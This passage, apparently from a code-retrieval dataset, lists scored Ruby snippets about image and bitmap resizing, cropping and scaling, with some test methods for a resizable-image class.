Old Bitmap\r\n bitmap.dispose\r\n # Set New Bitmap\r\n self.bitmap = Bitmap.new(@width, @height)\r\n # Set Background Width\r\n background.width = @width\r\n # Refresh\r\n refresh\r\n end", "title": "" }, { "docid": "d1ab1e2e6a7866ad30ffe8ff4e8b1037", "score": "0.5460115", "text": "def setBitmap(iBitmap)\n @SBBitmap.bitmap = iBitmap\n self.fit\n refreshState\n end", "title": "" }, { "docid": "84eed7e9ba8641f71b4c99ca76eb9879", "score": "0.54377425", "text": "def test_heightResize_Big\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(200, 74, 100, 50), BIG_BITMAP, BIG_RECT)\n c.resize_mode = 2\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "f1e2f532b278280d1e27ff9b5c5e8209", "score": "0.5394735", "text": "def resize_to_limit(width, height)\n if @width > width or @height > height\n @operations << [:resize_to_limit, width, height]\n end\n end", "title": "" }, { "docid": "037cde7e7ad2ca510b5b855c227668ff", "score": "0.5392964", "text": "def resize_to_limit(width, height); end", "title": "" }, { "docid": "d89891ac25ad913ce76e323c4f8db4df", "score": "0.5392531", "text": "def strict_resize image, w, h\n image.resize \"#{ w }x#{ h }!\"\n image\n end", "title": "" }, { "docid": "e1c008b808933f17ae3973bbf91d4189", "score": "0.53744316", "text": "def test_widthResize_Big\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(100, 74, 100, 50), BIG_BITMAP, BIG_RECT)\n c.resize_mode = 1\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "62a23347298bcfda22c7c88c7221fbee", "score": "0.5364546", "text": "def test_heightResize\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(200, 24, 100, 50), BITMAP, ICON_RECT)\n c.resize_mode = 2\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "046820d8a3da9fba09a0ea9372955278", "score": "0.53253376", "text": "def scale_blt(dest_rect, src_bitmap, src_rect = src_bitmap.rect, o = 255)\r\n w, h = src_rect.width, src_rect.height\r\n scale = [w / dest_rect.width.to_f, h / dest_rect.height.to_f].max\r\n ow, oh = (w / scale).to_i, (h / scale).to_i\r\n ox, oy = (dest_rect.width - ow) / 2, (dest_rect.height - oh) / 2\r\n stretch_blt(Rect.new(ox + dest_rect.x, oy + dest_rect.y, ow, oh), \r\n src_bitmap, src_rect, o)\r\n end", "title": "" }, { "docid": "8f2d453babfb8c7dcfdaec1c3e29c8de", "score": "0.53248924", "text": "def resize_to_fit(width, height)\n manipulate! do |img|\n img.resize \"#{width}x#{height}\"\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "a298fe13c58d016e26cb0d09e1f0cd23", "score": "0.5297204", "text": "def new_dimensions_for(orig_width, orig_height)\n new_width = orig_width\n new_height = orig_height\n\n case @flag\n when :percent\n scale_x = @width.zero? ? 100 : @width\n scale_y = @height.zero? ? @width : @height\n new_width = scale_x.to_f * (orig_width.to_f / 100.0)\n new_height = scale_y.to_f * (orig_height.to_f / 100.0)\n when :<, :>, nil\n scale_factor =\n if new_width.zero? || new_height.zero?\n 1.0\n else\n if @width.nonzero? && @height.nonzero?\n [@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min\n else\n @width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)\n end\n end\n new_width = scale_factor * new_width.to_f\n new_height = scale_factor * new_height.to_f\n new_width = orig_width if @flag && orig_width.send(@flag, new_width)\n new_height = orig_height if @flag && orig_height.send(@flag, new_height)\n end\n\n [new_width, new_height].collect! { |v| [v.round, 1].max }\n end", "title": "" }, { "docid": "6eaf851882267f7a2cced61ecee58a08", "score": "0.5294978", "text": "def cropping(w,h)\n manipulate! do |image|\n image.tap(&:auto_orient)\n w_original = image[:width].to_f\n h_original = image[:height].to_f\n if w_original < w && h_original < h\n return image\n end\n # resize\n image.resize(\"#{w}x#{h}\")\n image\n end\n end", "title": "" }, { "docid": "5603ee6df1ff771d96b75988284e02b3", "score": "0.5281419", "text": "def resize_pic(pic,new_width,out_path)\n nw = new_width\n n = File.basename(pic)\n i = QuickMagick::Image.read(pic).first\n w = i.width.to_f # Retrieves width in pixels\n h = i.height.to_f # Retrieves height in pixels\n pr = w/h\n nh = nw/pr \n #puts \"w:#{w} h:#{h} pr:#{pr} --> nw:#{nw} nh:#{nh}\" #debuging info\n i.resize \"#{nw}x#{nh}!\"\n i.save \"#{out_path}/#{n}\"\nend", "title": "" }, { "docid": "4e33a0b49deadc4c4950c0ac527f1089", "score": "0.5274849", "text": "def resize(width, height, filter=:BoxFilter, blur=1.0)\n @status = FFI::GMagick.MagickResizeImage( @wand, width, height, filter, blur )\n end", "title": "" }, { "docid": "aad7246163da4ea168bcbe1f156a12c4", "score": "0.52726775", "text": "def new_dimensions_for(orig_width, orig_height)\n new_width = orig_width\n new_height = orig_height\n \n RAILS_DEFAULT_LOGGER.debug \"Flag is #{@flag}\"\n\n case @flag\n when :aspect\n new_width = @width unless @width.nil?\n new_height = @height unless @height.nil?\n when :percent\n scale_x = @width.zero? ? 100 : @width\n scale_y = @height.zero? ? @width : @height\n new_width = scale_x.to_f * (orig_width.to_f / 100.0)\n new_height = scale_y.to_f * (orig_height.to_f / 100.0)\n when :<, :>, nil\n scale_factor =\n if new_width.zero? || new_height.zero?\n 1.0\n else\n if @width.nonzero? && @height.nonzero?\n [@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min\n else\n @width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)\n end\n end\n new_width = scale_factor * new_width.to_f\n new_height = scale_factor * new_height.to_f\n new_width = orig_width if @flag && orig_width.send(@flag, new_width)\n new_height = orig_height if @flag && orig_height.send(@flag, new_height)\n end\n\n [new_width, new_height].collect! { |v| v.round }\n end", "title": "" }, { "docid": "36766070f76d61ee405829e249ed8dce", "score": "0.5269519", "text": "def resize_to_fit(new_width, new_height)\n dup.resize_to_fit!(new_width, new_height)\n end", "title": "" }, { "docid": "36766070f76d61ee405829e249ed8dce", "score": "0.5269519", "text": "def resize_to_fit(new_width, new_height)\n dup.resize_to_fit!(new_width, new_height)\n end", "title": "" }, { "docid": "071d4a2c2764e958b9f240ea438e8fc7", "score": "0.52530456", "text": "def bitmap=(bitmap)\r\n super(bitmap)\r\n src_rect.width = @width\r\n src_rect.height = @height\r\n end", "title": "" }, { "docid": "8d85bcea5b01018b43a90263ae0b3701", "score": "0.5252369", "text": "def bitmap=(bitmap)\r\n super(bitmap)\r\n adjust\r\n end", "title": "" }, { "docid": "174287c6aed3976b185d98a1e0fa6042", "score": "0.5251379", "text": "def scale_to(new_width, new_height = nil, options = {})\n raise \"cannot scale non-image\" unless image?\n\n options.reverse_merge!(\n :strip => true,\n :progressive => true,\n :quality => 85,\n :crop => new_height.present?,\n :output_type => 'jpg'\n )\n new_height ||= scaled_height_keeping_aspect_ratio(new_width)\n\n (temp = Tempfile.new(['image-scaler', \".#{options[:output_type]}\"])).close\n\n strip_meta = '-strip' if options[:strip]\n quality = \"-quality #{options[:quality]}%\" \n progressive = '-interlace Plane' if options[:progressive]\n crop = \"^ -gravity center -extent #{new_width}x#{new_height}\" if options[:crop]\n\n # -filter lanczos2sharp -distort resize ? \n resize = \"-resize #{new_width}x#{new_height}#{crop}\" \n cmd = \"#{CONVERT} #{unscaled_path} #{resize} #{progressive} #{quality} #{strip_meta} #{temp.path}\"\n result = `#{cmd}` \n if File.readable?(temp.path) && File.size(temp.path) > 0 \n return IO.read(temp.path) \n else\n Rails.logger.error \"scaling photo #{unscaled_path} failed:\\n#{result}\" \n false\n end\n end", "title": "" }, { "docid": "3dd7232947ed5ab5681ed0e337594c9c", "score": "0.5228419", "text": "def resize_to_fit(width, height); end", "title": "" }, { "docid": "3aa575cd43dca2311d584fbabd38637b", "score": "0.522329", "text": "def shrink(src, dest)\n width = 1200\n\n thumb = Magick::Image.from_blob(File.read(src)).shift\n thumb_out = if thumb.columns > width\n shrink_to_fill(thumb, width, thumb.rows * width / thumb.columns)\n else\n shrink_to_fill(thumb, thumb.columns, thumb.rows)\n end\n thumb_out.write(dest)\n end", "title": "" }, { "docid": "253e90808a91633640945ebc783412eb", "score": "0.52232385", "text": "def resize()\n\t\t@widget.pixbuf = choosePixbufState\n\t\treturn self\n\tend", "title": "" }, { "docid": "881b0c426f5276e9b64476b6decb2d42", "score": "0.5209779", "text": "def bitmap\n # Refresh bitmap from the window since the window can decide to dispose it\n # (ex.: Window_Selectable when drawing the items)\n if @bitmap.disposed? && @window != nil\n @bitmap = @window.contents\n end\n return @bitmap\n end", "title": "" }, { "docid": "881b0c426f5276e9b64476b6decb2d42", "score": "0.5209779", "text": "def bitmap\n # Refresh bitmap from the window since the window can decide to dispose it\n # (ex.: Window_Selectable when drawing the items)\n if @bitmap.disposed? && @window != nil\n @bitmap = @window.contents\n end\n return @bitmap\n end", "title": "" }, { "docid": "b9d4829f7889cd9a7cbea6a6f0dbf89d", "score": "0.52075684", "text": "def height=(height)\r\n # Restrict to (0, max_height]\r\n height = [height, max_height].min\r\n # Return if same\r\n return if @height == height\r\n # Dispose Old Bitmap\r\n bitmap.dispose\r\n # Set Height\r\n @height = height\r\n # Set New Bitmap\r\n self.bitmap = Bitmap.new(@width, @height)\r\n # Set Background Height\r\n background.height = @height\r\n # Refresh\r\n refresh\r\n end", "title": "" }, { "docid": "e30ae413d87f23780be2d1357a86a0df", "score": "0.52018315", "text": "def resize!(width, height)\n image.geometry \"#{width}x#{height}!\"\n end", "title": "" }, { "docid": "d19cf643f832d5e84e820cd965e9863c", "score": "0.5195747", "text": "def resize img\n filename = img.filename.gsub(/\\..+$/,'')\n scaled = []\n trimmed = img.trim\n trimmed.write \"#{filename}_trimmed.jpg\"\n if trimmed.rows != img.rows or trimmed.columns != img.columns\n puts \"Start with #{img.rows} by #{img.columns}, end with #{trimmed.rows} by #{trimmed.columns}\" \n end\n @@sizes.each_with_index do |size, index|\n pic = trimmed.resize_to_fit(size[0],size[1])\n offset_x = offset_y = 0\n if pic.columns < size[0] # This means that the width of the resized pic is now too small, so we need an x offset for the \"extent\" call\n offset_x = (size[0] - pic.columns).to_f / 2\n elsif pic.rows < size[1] # Here, the height is too small for the given dimensions, so we need a y offset for the \"extent\" call\n offset_y = (size[1] - pic.rows).to_f / 2\n else # \"trimmed\" version of the pic matched exactly. Do nothing.\n end\n pic.background_color = \"#FFF\"\n pic = pic.extent(size[0], size[1], offset_x, offset_y)\n pic.write \"#{filename}_#{@@size_names[index]}.jpg\"\n scaled << \"#{filename}_#{@@size_names[index]}.jpg\" if pic\n end\n return scaled\n end", "title": "" }, { "docid": "8cfc214dc7ecc9cf0201fdf134fe1fa5", "score": "0.5182499", "text": "def resize(width, height) # :yields: image\n end", "title": "" }, { "docid": "4056f1b9709176d0c770ffd74b369f02", "score": "0.51807445", "text": "def getBitmap(iFont)\n # Paint the bitmap corresponding to the selection\n lWidth = 0\n lHeight = 0\n # Arbitrary max size\n lMaxWidth = 400\n lMaxHeight = 400\n lDragBitmap = Wx::Bitmap.new(lMaxWidth, lMaxHeight)\n lDragBitmap.draw do |ioDC|\n # White will be set as transparent afterwards\n ioDC.brush = Wx::WHITE_BRUSH\n ioDC.pen = Wx::WHITE_PEN\n ioDC.draw_rectangle(0, 0, lMaxWidth, lMaxHeight)\n lWidth, lHeight = draw(ioDC, iFont)\n end\n # Modify it before continuing\n lWidth, lHeight = yield(lDragBitmap, lWidth, lHeight)\n # Compute the alpha mask\n lSelectionImage = Wx::Image.from_bitmap(lDragBitmap)\n lSelectionImage.set_mask_colour(Wx::WHITE.red, Wx::WHITE.green, Wx::WHITE.blue)\n lSelectionImage.init_alpha\n lSelectionImage.convert_alpha_to_mask\n\n return Wx::Bitmap.from_image(lSelectionImage.resize([lWidth, lHeight], Wx::Point.new(0, 0)))\n end", "title": "" }, { "docid": "95cf2c4deb2933fed812c9aa84438d9c", "score": "0.51708287", "text": "def test_widthResize\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(100, 24, 100, 50), BITMAP, ICON_RECT)\n c.resize_mode = 1\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "e9934d683d0ba792e6e341cebd0766d3", "score": "0.5167961", "text": "def resize_exact(from_path, to_path, to_width, to_height)\n validate_input_output_files(from_path, to_path)\n @target_w, @target_h = to_width, to_height\n resetting_state_afterwards { process_exact }\n to_path\n end", "title": "" }, { "docid": "d2ab425054ce906876163e613dd5971f", "score": "0.5149685", "text": "def resize_to_fill(new_width, new_height)\n ::ImageScience.with_image(self.current_path) do |img|\n width, height = extract_dimensions_for_crop(img.width, img.height, new_width, new_height)\n x_offset, y_offset = extract_placement_for_crop(width, height, new_width, new_height)\n\n img.resize( width, height ) do |i2|\n\n i2.with_crop( x_offset, y_offset, new_width + x_offset, new_height + y_offset) do |file|\n file.save( self.current_path )\n end\n end\n end\n end", "title": "" }, { "docid": "8f242f5323de021a78329a45652eaf21", "score": "0.51481307", "text": "def resize_to_limit(width, height, combine_options: {}, &block)\n width, height = resolve_dimensions(width, height)\n\n minimagick!(block) do |builder|\n builder.resize_to_limit(width, height)\n .apply(combine_options)\n end\n end", "title": "" }, { "docid": "de3a337e00d1a18301047fa0a76793ea", "score": "0.5145692", "text": "def resize_to_fill(width, height)\n if @width > width or @height > height\n @operations << [:resize_to_fill, width, height]\n end\n end", "title": "" }, { "docid": "ce176b894c27b628479c8c732de36cc5", "score": "0.5143602", "text": "def resized_height_by_width(new_width)\n raise 'Width must be even' if new_width % 2 != 0\n orig_ar = @width.to_f / @height.to_f\n calc_height = (new_width.to_f / orig_ar).to_i\n calc_height += 1 if calc_height % 2 != 0\n calc_height\n end", "title": "" }, { "docid": "1cc3b510faccf101160013fdc179add4", "score": "0.5120698", "text": "def resize_to_limit(width, height, **options)\n width, height = default_dimensions(width, height)\n thumbnail(width, height, inflate: false, **options)\n end", "title": "" }, { "docid": "c9b3da98bca156bee8ec4e6066942231", "score": "0.5119039", "text": "def test_widthResize_alignBottom\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(100, 224, 50, 150), BITMAP, ICON_RECT, 0, 255, 2)\n c.resize_mode = 1\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "2c037ed13ffd7376c62f5d65e2fe2bd7", "score": "0.51107234", "text": "def scale_to new_size\n UIGraphicsBeginImageContextWithOptions(new_size, false, 0.0)\n self.drawInRect([[0, 0], new_size])\n image = UIGraphicsGetImageFromCurrentImageContext()\n UIGraphicsEndImageContext()\n return image\n end", "title": "" }, { "docid": "4eb1513d3b60fcf133d7ab71dbe30291", "score": "0.51098025", "text": "def test_widthResizeRatio_alignBottom\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(0, 224, 50, 150), BITMAP, ICON_RECT, 0, 255, 2)\n c.resize_mode = 3 \n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "1f4c8214a84d195c1c83b43df559bf4c", "score": "0.5105498", "text": "def larger_dimension\n width > height ? width : height\n end", "title": "" }, { "docid": "7a3b8192f887a5aac1b90fcf586ca455", "score": "0.51015234", "text": "def resize(width, height, options = {})\n self.dup.resize!(width, height, options)\n end", "title": "" }, { "docid": "f55e05b0585632d60bcb3b54f442f02e", "score": "0.5101131", "text": "def resize(width,height)\n\t\t@buffer=@buffer.scale(width, height, :bilinear)\n\tend", "title": "" }, { "docid": "5f8089714b9d7bf7f5b160be50b704c2", "score": "0.509318", "text": "def resize_to_limit(width, height, **options); end", "title": "" }, { "docid": "288597f9d2bfe18079693037f9283d26", "score": "0.508826", "text": "def resize_img\n w = @width.to_s\n h = @height.to_s\n format = w + 'x' + h\n @img.resize format\n end", "title": "" }, { "docid": "ad8b23cf4697cc1059f3757cddf16875", "score": "0.5085811", "text": "def shrink_to_fit(width, height, quality, format)\n manipulate! do |image|\n img_width, img_height = image.dimensions\n\n image.format(format) do |img|\n if img_width > width || img_height > height\n ratio_width = img_width / width.to_f\n ratio_height = img_height / height.to_f\n\n if ratio_width >= ratio_height\n img.resize \"#{width}x#{(img_height / ratio_width).round}\"\n else\n img.resize \"#{(img_width / ratio_height).round}x#{height}\"\n end\n end\n\n img.quality(quality.to_s)\n image = yield(img) if block_given?\n end\n\n image\n end\n end", "title": "" }, { "docid": "9fd9ab58d3f298123c8b2cf74a613d1e", "score": "0.50745517", "text": "def resize(w, h)\n oldw = width\n oldh = height\n puts \"image.resize #{oldw}x#{oldh} => #{w}x#{h}\" if @verbose\n width_ratio = w.to_f / oldw.to_f\n height_ratio = h.to_f / oldh.to_f\n aspect = width_ratio / height_ratio # (works when stretching tall, gives aspect = 0.65)\n scale(height_ratio,aspect)\n origin(:bottomleft)\n self\n end", "title": "" }, { "docid": "d9d230479abcfaccaee52a44bbb0d48d", "score": "0.5071291", "text": "def update_original_sizes\n original_media = self.media.original.first\n unless original_media.nil?\n image = Magick::Image.from_blob(original_media.file_contents).first\n self.original_width = image.columns\n self.original_height = image.rows\n end\n return true\n end", "title": "" }, { "docid": "d9d230479abcfaccaee52a44bbb0d48d", "score": "0.5071291", "text": "def update_original_sizes\n original_media = self.media.original.first\n unless original_media.nil?\n image = Magick::Image.from_blob(original_media.file_contents).first\n self.original_width = image.columns\n self.original_height = image.rows\n end\n return true\n end", "title": "" }, { "docid": "39612e532db56f94a341926f716007bf", "score": "0.5064106", "text": "def resize(new_size)\n new_size = Vector2d(new_size)\n apply image.thumbnail_image(new_size.x.to_i,\n height: new_size.y.to_i,\n crop: :none,\n size: :both)\n end", "title": "" }, { "docid": "026ba1f714784fceb3676295e2e10126", "score": "0.50610906", "text": "def draw()\n if visible\n temp_rect = Rect.new(self.src_rect.x, self.src_rect.y, \n self.src_rect.width, self.src_rect.height)\n \n case self.resize_mode\n when 0 #Full resize to fit in rectangle size\n#~ bw = self.img_bitmap.width\n#~ bh = self.img_bitmap.height\n#~ if bw > self.rect.width\n#~ bw = self.rect.width\n#~ bh *= self.rect.width / self.img_bitmap.width.to_f\n#~ end\n#~ if bh > self.rect.height\n#~ bh = self.rect.height\n#~ bw *= self.rect.height / self.img_bitmap.height.to_f\n#~ end\n temp_rect.width = self.rect.width\n temp_rect.height = self.rect.height\n when 1 #Width only to fit in rectangle size\n#~ bw = self.img_bitmap.width\n#~ if bw > self.rect.width\n#~ bw = self.rect.width\n#~ end\n temp_rect.width = self.rect.width\n when 2 #Height only to fit in rectangle size\n#~ bh = self.img_bitmap.height\n#~ if bh > self.rect.height\n#~ bh = self.rect.height\n#~ end\n temp_rect.height = self.rect.height\n when 3 #Full resize to fit in rectangle size by respecting image ratio\n bw = self.img_bitmap.width\n bh = self.img_bitmap.height\n if (self.rect.height / self.img_bitmap.height.to_f) > \n (self.rect.width / self.img_bitmap.width.to_f)\n ratio = self.rect.width / self.img_bitmap.width.to_f\n else\n ratio = self.rect.height / self.img_bitmap.height.to_f\n end\n bw *= ratio\n bh *= ratio\n temp_rect.width = bw.floor\n temp_rect.height = bh.floor\n end\n \n case self.align \n when 0 #Left\n x = self.rect.x\n when 1 #Middle\n x = self.rect.x + self.rect.width/2 - temp_rect.width/2\n when 2 #Right\n x = self.rect.x + self.rect.width - temp_rect.width\n else\n x = 0\n end\n\n case self.valign \n when 0 #Top\n y = self.rect.y\n when 1 #Middle\n y = self.rect.y + self.rect.height/2 - temp_rect.height/2\n when 2 #Bottom\n y = self.rect.y + self.rect.height - temp_rect.height\n else\n y = 0\n end\n\n if !active\n opacity = Font.inactive_alpha()\n else\n opacity = self.opacity\n end\n \n bitmap.stretch_blt(Rect.new(x, y, temp_rect.width, temp_rect.height), \n self.img_bitmap, self.src_rect, \n opacity)\n end\n end", "title": "" }, { "docid": "026ba1f714784fceb3676295e2e10126", "score": "0.50610906", "text": "def draw()\n if visible\n temp_rect = Rect.new(self.src_rect.x, self.src_rect.y, \n self.src_rect.width, self.src_rect.height)\n \n case self.resize_mode\n when 0 #Full resize to fit in rectangle size\n#~ bw = self.img_bitmap.width\n#~ bh = self.img_bitmap.height\n#~ if bw > self.rect.width\n#~ bw = self.rect.width\n#~ bh *= self.rect.width / self.img_bitmap.width.to_f\n#~ end\n#~ if bh > self.rect.height\n#~ bh = self.rect.height\n#~ bw *= self.rect.height / self.img_bitmap.height.to_f\n#~ end\n temp_rect.width = self.rect.width\n temp_rect.height = self.rect.height\n when 1 #Width only to fit in rectangle size\n#~ bw = self.img_bitmap.width\n#~ if bw > self.rect.width\n#~ bw = self.rect.width\n#~ end\n temp_rect.width = self.rect.width\n when 2 #Height only to fit in rectangle size\n#~ bh = self.img_bitmap.height\n#~ if bh > self.rect.height\n#~ bh = self.rect.height\n#~ end\n temp_rect.height = self.rect.height\n when 3 #Full resize to fit in rectangle size by respecting image ratio\n bw = self.img_bitmap.width\n bh = self.img_bitmap.height\n if (self.rect.height / self.img_bitmap.height.to_f) > \n (self.rect.width / self.img_bitmap.width.to_f)\n ratio = self.rect.width / self.img_bitmap.width.to_f\n else\n ratio = self.rect.height / self.img_bitmap.height.to_f\n end\n bw *= ratio\n bh *= ratio\n temp_rect.width = bw.floor\n temp_rect.height = bh.floor\n end\n \n case self.align \n when 0 #Left\n x = self.rect.x\n when 1 #Middle\n x = self.rect.x + self.rect.width/2 - temp_rect.width/2\n when 2 #Right\n x = self.rect.x + self.rect.width - temp_rect.width\n else\n x = 0\n end\n\n case self.valign \n when 0 #Top\n y = self.rect.y\n when 1 #Middle\n y = self.rect.y + self.rect.height/2 - temp_rect.height/2\n when 2 #Bottom\n y = self.rect.y + self.rect.height - temp_rect.height\n else\n y = 0\n end\n\n if !active\n opacity = Font.inactive_alpha()\n else\n opacity = self.opacity\n end\n \n bitmap.stretch_blt(Rect.new(x, y, temp_rect.width, temp_rect.height), \n self.img_bitmap, self.src_rect, \n opacity)\n end\n end", "title": "" }, { "docid": "cfec82f281d667576f2cbe1d986e69f9", "score": "0.50483024", "text": "def resize_to_limit(width, height, combine_options: T.unsafe(nil), &block); end", "title": "" }, { "docid": "a0bd365c62bb39947066d784abaac9f6", "score": "0.50428957", "text": "def resize(width, height)\n self.width = width\n self.height = height\n return nil\n end", "title": "" }, { "docid": "e9e66b26c1cc4835e62af0400616cc62", "score": "0.5036038", "text": "def make_image_bmp(filename, w, h)\n case filename \n when String then Cache.picture(filename) # Filename\n when Integer then get_enlarged_icon([w, h].min, filename) # icon index\n when Array # [icon index, hue]\n filename = filename.select {|num| num.is_a?(Integer) }\n filename.slice!(2, filename.size - 2) if filename.size > 2\n return if filename.empty?\n get_enlarged_icon([w, h].min, *filename)\n else # empty\n Cache.picture(\"\")\n end\n end", "title": "" }, { "docid": "d421940f63682e390620030038b494bc", "score": "0.5029142", "text": "def get_bitmap(index)\n width = @bitmap_number.width / 10\n height = @bitmap_number.height\n t_bitmap = Bitmap.new(width, height)\n rect = Rect.new(width * index, 0, width, height)\n t_bitmap.blt(0, 0, @bitmap_number, rect)\n t_bitmap\n end", "title": "" }, { "docid": "aae35a437aa80106a5da576ac06face8", "score": "0.502864", "text": "def scale_to_fit(width, height)\n @image.change_geometry(\"#{width}x#{height}\") { |cols, height, img| img.resize!(cols, height) }\n self\n end", "title": "" }, { "docid": "ac9a5ee7225b5d2acaef2616c8c2fa4e", "score": "0.50250405", "text": "def resize(width, height)\n image.geometry \"#{width}x#{height}\"\n end", "title": "" }, { "docid": "682f9a94f001ba06b939c5cfeb6dc46a", "score": "0.5016146", "text": "def normal_2k_bitmap(path)\n unless include?(path)\n bmp = Bitmap.new(path)\n @cache[path] = Bitmap.new(bmp.width*2, bmp.height*2)\n @cache[path].stretch_blt(@cache[path].rect, bmp, bmp.rect)\n bmp.dispose\n end\n @cache[path]\n end", "title": "" }, { "docid": "3e10bbe06e17191c905f0d4eac95f1c6", "score": "0.5015076", "text": "def extrapolate_dimensions_from_original\n return unless original_url\n if original_dimensions = FastImage.size(original_url)\n sizes = {\n original: {\n width: original_dimensions[0],\n height: original_dimensions[1]\n }\n }\n max_d = original_dimensions.max\n # extrapolate the scaled dimensions of the other sizes\n file.styles.each do |key, s|\n next if key.to_sym == :original\n if match = s.geometry.match(/([0-9]+)x([0-9]+)([^0-9])?/)\n style_sizes = {\n width: match[1].to_i,\n height: match[2].to_i\n }\n modifier = match[3]\n # the '#' modifier means the resulting image is exactly that size\n unless modifier == \"#\"\n ratio = (max_d < style_sizes[:width]) ?\n 1 : (style_sizes[:width] / max_d.to_f)\n style_sizes[:width] = (sizes[:original][:width] * ratio).round\n style_sizes[:height] = (sizes[:original][:height] * ratio).round\n end\n sizes[key] = style_sizes\n end\n end\n sizes\n end\n end", "title": "" }, { "docid": "a31ea295c39697005ca095ba42aeef01", "score": "0.5014281", "text": "def resize_image\n return if logo.nil? || logo.height == 100\n\n self.logo = logo.thumb('x100') # resize height and maintain aspect ratio\n end", "title": "" }, { "docid": "a262ee4a05e47224a946827d4630b27d", "score": "0.50115633", "text": "def test_fullResize_Big\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(0, 74, 100, 50), BIG_BITMAP, BIG_RECT)\n c.resize_mode = 0\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "a5af60116d38d1a543bc636b61a61312", "score": "0.49967158", "text": "def thumbnail(width, height)\n manipulate! do |img|\n img = img.resize_to_fill(width, height)\n end\n end", "title": "" }, { "docid": "46e2ff334a47e96ec52a45b4d032dbd0", "score": "0.49960557", "text": "def reduce!(width, height)\n image.geometry \"#{width}x#{height}>!\"\n end", "title": "" }, { "docid": "3ac0609dddba87575d4388f8e14a4ca5", "score": "0.4988412", "text": "def bitmap=(value)\r\n ret = super(value)\r\n if value\r\n w = value.width / @nb_x\r\n h = value.height / @nb_y\r\n src_rect.set(@sx * w, @sy * h, w, h)\r\n end\r\n return ret\r\n end", "title": "" }, { "docid": "98d0842c3ac233f7de7724a81143c714", "score": "0.4987222", "text": "def test_fullResizeRatio_Big\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(500, 74, 100, 50), BIG_BITMAP, BIG_RECT)\n c.resize_mode = 3\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "d914a351a7235159a3c3e17f9f40a9d6", "score": "0.49803424", "text": "def resize(width, height)\n @width = [width, @min_width ].max\n @height = [height, @min_height].max\n # puts \"ComplexSprite#resize: #{@width}w #{@height}h\"\n draw_target\n end", "title": "" }, { "docid": "a3052f282bd1981eae5d8c767bffec61", "score": "0.49704435", "text": "def copy_to_bitmap(bitmap)\n end", "title": "" }, { "docid": "7c187ce54d783788e9beadb0b7f3b900", "score": "0.4966655", "text": "def resize_to_limit(width, height, **options)\n thumbnail(\"#{width}x#{height}>\", **options)\n end", "title": "" }, { "docid": "f867455a9c756ff65d561a12bedd789a", "score": "0.49572212", "text": "def fit(w, h)\n # http://gigliwood.com/weblog/Cocoa/Core_Image,_part_2.html\n old_w = self.width.to_f\n old_h = self.height.to_f\n old_x = self.x\n old_y = self.y\n\n # choose a scaling factor\n width_multiplier = w.to_f / old_w\n height_multiplier = h.to_f / old_h\n multiplier = width_multiplier < height_multiplier ? width_multiplier : height_multiplier\n\n # crop result to integer pixel dimensions\n new_width = (self.width * multiplier).truncate\n new_height = (self.height * multiplier).truncate\n\n puts \"image.fit: old size #{old_w}x#{old_h}, max target #{w}x#{h}, multiplier #{multiplier}, new size #{new_width}x#{new_height}\" if @verbose\n clamp\n scale(multiplier)\n crop(old_x, old_y, new_width, new_height)\n #origin(:bottomleft)\n self\n end", "title": "" }, { "docid": "c36bbdbbcb27698cf511d1b98a7b5551", "score": "0.4947092", "text": "def resize_to_limit(width, height, **options)\n width, height = default_dimensions(width, height)\n thumbnail(width, height, size: :down, **options)\n end", "title": "" }, { "docid": "e4b492fe112b11021da236d549ee0b7e", "score": "0.49433878", "text": "def resize_to_fit(width, height, **options); end", "title": "" }, { "docid": "d92cf9c6a198999cb76e478de754748e", "score": "0.49409556", "text": "def two_step_resize(img, filename, max_x, max_y)\n\tx = img.columns\n\ty = img.rows\n\n\t# make sure it is a float w/ the 1.0*\n\tratio = (1.0 * x) / y\n\tnew_y = max_y\n\tnew_x = ratio * new_y\n\n\tif new_x > max_x\n\t\tnew_x = max_x\n\t\tnew_y = new_x / ratio\n\tend\n\n\t# do change in two steps, first the height\n\timg.resize!(x, new_y)\n\t# then the width\n\timg.resize!(new_x, new_y)\n\n\t# save it, with the least compression to get a better image\n\timg.write(filename) { self.quality = 100 }\nend", "title": "" }, { "docid": "0cccfbd8560376608dedf2d6f8592595", "score": "0.4939211", "text": "def resize_to_limit(width, height, combine_options: T.unsafe(nil)); end", "title": "" }, { "docid": "38cbf6d902181ee9d275776d2c961ec0", "score": "0.49361384", "text": "def resize_to_width(width)\n manipulate! do |img|\n img.resize \"#{width}>\"\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "38cbf6d902181ee9d275776d2c961ec0", "score": "0.49361384", "text": "def resize_to_width(width)\n manipulate! do |img|\n img.resize \"#{width}>\"\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "e503515d3f6c07612cfdf8db02cbd4da", "score": "0.49282637", "text": "def resize_to\n \"#{width}x#{height}!\"\n end", "title": "" }, { "docid": "5ad2da33cdc1b950ccca8740a53c8d61", "score": "0.4925714", "text": "def fit_blt(x, y, width, height, bitmap, opacity = 255, align = 1)\r\n # Get Width and Height\r\n w, h = bitmap.width, bitmap.height\r\n # If Width or Height is Greater\r\n if w > width or h > height\r\n # Get Conversion\r\n conversion = w / h.to_f\r\n # if Conversion is smaller than or 1\r\n if conversion <= 1\r\n # Get Zoom X and Y\r\n zoom_x, zoom_y = width * 